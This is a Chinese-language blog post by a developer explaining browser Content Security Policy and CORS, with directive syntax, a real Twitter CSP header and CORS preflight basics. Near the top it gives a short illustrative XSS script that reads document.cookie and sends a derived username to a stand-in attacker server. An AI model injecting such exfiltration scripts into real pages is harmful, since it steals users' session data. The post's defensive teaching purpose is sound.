Content Security Policy(CSP) 和 Cross-Origin Resource Sharing (CORS)

Feng Gao
11 min readJun 29, 2021

1 Content Security Policy

上周在工作中遇到了这样一个问题,在一个网页前端中,使用 Javascript 代码访问一个本地的服务,然后抛出了这样一个错误。

Refuse to connect to 'https://localhost:9780/dauthsvc/sign' because it violates the following Content Security Policy directive: "connect-src 'self' api.localhost ....

原本以为是服务端的错误,在 Google 之后才知道,这原来是 W3C 一个标准协议。那么究竟是怎么一回事呢?

我们都知道我们的网站会被会被一些不法分子攻击,比如跨站脚本(Cros是Site Script, XSS),比如说攻击者将一个脚本发送给其他人,由于同源策略,浏览器在执行这些脚本的时候,就能访问到被攻击者的敏感信息,然后将这些信息发送给攻击者。比如说

<script>let cookie = document.cookie;let userName = getUsername("https://www.binddate.com", cookie);sendUserNameToMyServer("https://www.myserver.com", userName);</script>

那么 Content Security Policy 是如何处理这个问题的呢?最直接的方法就是告诉浏览器不要执行访问 https://www.myserver.com 服务的操作,只有在白名单的中服务才能被访问。

Content Security Policy 可以采用两种方式完成

  1. 在请求返回的 Header 中添加一个 Content-Security-Policy 的 header

比如在 GitHub 页面的响应中,包含 content-security-policy 这样的 header

2. 第二种是在响应的页面中,为 head 元素增加一个 meta 记录

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

既然知道 Content-Security-Policy 的功能,那么如何自定义一个 Content-Security-Policy 呢?

Content-Security-Policy 的语法如下

Content-Security-Policy: <policy-directive>; <policy-directive>

每个 <policy-directive> 由两个部分组成,分别是 <directive> <value> ,比较常见的 directive

  • default-src: 当所有的其他规则都没有匹配上,才会进行 default-src 匹配计算
  • script-src: 所有 Javascript 脚本访问的服务的白名单
  • style-src: 所有 CSS 样式访问的服务资源
  • report-uri: 当如果有非白名单的资源访问的时候,向这个服务汇报情况

响应的 value 主要也有这些

  • none: 表示不允许访问任何外部资源
  • self: 可以访问 origin 下的资源
  • host: 具体的一个外部资源的地址,比如 example.com , https://*.example.com:12/path/to/file.js

最后我们看一个例子,以 twitter 举例

content-security-policy:connect-src 'self' blob: https://*.giphy.com https://*.pscp.tv https://*.video.pscp.tv https://*.twimg.com https://api.twitter.com https://api-stream.twitter.com https://ads-api.twitter.com https://aa.twitter.com https://caps.twitter.com https://media.riffsy.com https://pay.twitter.com https://sentry.io https://ton.twitter.com https://twitter.com https://upload.twitter.com https://www.google-analytics.com https://app.link https://api2.branch.io https://bnc.lt wss://*.pscp.tv https://vmap.snappytv.com https://vmapstage.snappytv.com https://vmaprel.snappytv.com https://vmap.grabyo.com https://dhdsnappytv-vh.akamaihd.net https://pdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://dwo3ckksxlb0v.cloudfront.net ; default-src 'self'; form-action 'self' https://twitter.com https://*.twitter.com; font-src 'self' https://*.twimg.com; frame-src 'self' https://twitter.com https://mobile.twitter.com https://pay.twitter.com https://cards-frame.twitter.com  https://accounts.google.com/; img-src 'self' blob: data: https://*.cdn.twitter.com https://ton.twitter.com https://*.twimg.com https://analytics.twitter.com https://cm.g.doubleclick.net https://www.google-analytics.com https://www.periscope.tv https://www.pscp.tv https://media.riffsy.com https://*.giphy.com https://*.pscp.tv https://*.periscope.tv https://prod-periscope-profile.s3-us-west-2.amazonaws.com https://platform-lookaside.fbsbx.com https://scontent.xx.fbcdn.net https://scontent-sea1-1.xx.fbcdn.net https://*.googleusercontent.com; manifest-src 'self'; media-src 'self' blob: https://twitter.com https://*.twimg.com https://*.vine.co https://*.pscp.tv https://*.video.pscp.tv https://*.giphy.com https://media.riffsy.com https://dhdsnappytv-vh.akamaihd.net https://pdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://mdhdsnappytv-vh.akamaihd.net https://mpdhdsnappytv-vh.akamaihd.net https://mmdhdsnappytv-vh.akamaihd.net https://dwo3ckksxlb0v.cloudfront.net; object-src 'none'; script-src 'self' 'unsafe-inline' https://*.twimg.com   https://www.google-analytics.com https://twitter.com https://app.link https://apis.google.com/js/platform.js https://appleid.cdn-apple.com/appleauth/static/jsapi/appleid/1/en_US/appleid.auth.js  'nonce-ZWM0Y2NkOTUtNzc5YS00YWNjLTgyNGItOGQ1M2JiZjJkNTM2'; style-src 'self' 'unsafe-inline' https://*.twimg.com; worker-src 'self' blob:; report-uri https://twitter.com/i/csp_report?a=O5RXE%3D%3D%3D&ro=false

2. Cross-Origin Resource Sharing

通过 CSP, 浏览器可以在调用端限制可以访问那些资源,而 Cross-Origin Resource Sharing (CORS) 可以从资源服务端限制那些调用方可以访问资源。假设在前端的代码运行在 https://domain-a.com 的服务上,通过 XMLHttpRequest 来访问 https://domain-b.com/data.json 这个资源。一般来讲浏览器会阻止这次请求的结果,因为从安全的角度来看,这是属于 Cross-Domain。

如何避免这个问题呢?需要在资源服务端在返回结果的时候,Header 需要添加 Access-Control-Allow-Origin 这个字段,它表明这个资源可以被哪些 origin 访问。

一个简单的请求是这样的:

在这里 * 表示该资源可以被任何 cross-origin 的请求访问。

通常浏览器会发出一个 Preflighted request,该请求会发出 OPTIONS 这个方法,一般服务端的相应会包含 Access-Control-Allow-OriginAccess-Control-Allow-Methods 两个 header 字段。如果满足要求,才会发送真正的请求。

References

  1. https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

--

--

Feng Gao

A software developer in Microsoft at Suzhou. Most articles spoken language is Chinese. I will try with English when I’m ready